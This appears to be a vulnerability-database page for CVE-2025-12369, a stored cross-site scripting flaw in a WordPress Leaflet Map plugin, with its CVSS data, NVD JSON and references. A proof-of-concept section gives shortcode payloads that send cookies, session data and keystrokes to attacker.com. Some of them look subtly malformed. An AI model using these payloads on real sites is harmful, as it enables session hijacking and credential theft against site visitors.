Security Vulnerability Report
中文
CVE-2025-12369 CVSS 6.4 MEDIUM

CVE-2025-12369

Published: 2025-11-04 05:16:11
Last Modified: 2026-04-15 00:35:42

Description

The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `geojsonmarker` shortcode in all versions up to, and including, 4.7. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Extensions for Leaflet Map <= 4.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Contributor+ role required --> <!-- CVE-2025-12369 PoC: Stored XSS via geojsonmarker shortcode --> <!-- Basic XSS PoC --> [geojsonmarker marker='" onerror="alert(document.domain)" data-xss="'] <!-- Cookie stealing PoC --> [geojsonmarker marker='" onload="fetch(\'https://attacker.com/steal?c=\'+document.cookie)" style="'] <!-- Session hijacking PoC --> [geojsonmarker marker='<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'] <!-- Keylogger PoC --> [geojsonmarker marker='" onkeydown="document.location=\'https://attacker.com/capture?k=\'+event.key" data="']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12369", "sourceIdentifier": "[email protected]", "published": "2025-11-04T05:16:11.387", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `geojsonmarker` shortcode in all versions up to, and including, 4.7. This is due to insufficient input sanitization and output escaping on user-supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/extensions-leaflet-map/tags/4.7/php/geojsonmarker.php#L90", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3387532/", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/extensions-leaflet-map", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6be74779-4db7-4d44-a706-285375f4fec9?source=cve", "source": "[email protected]"}]}}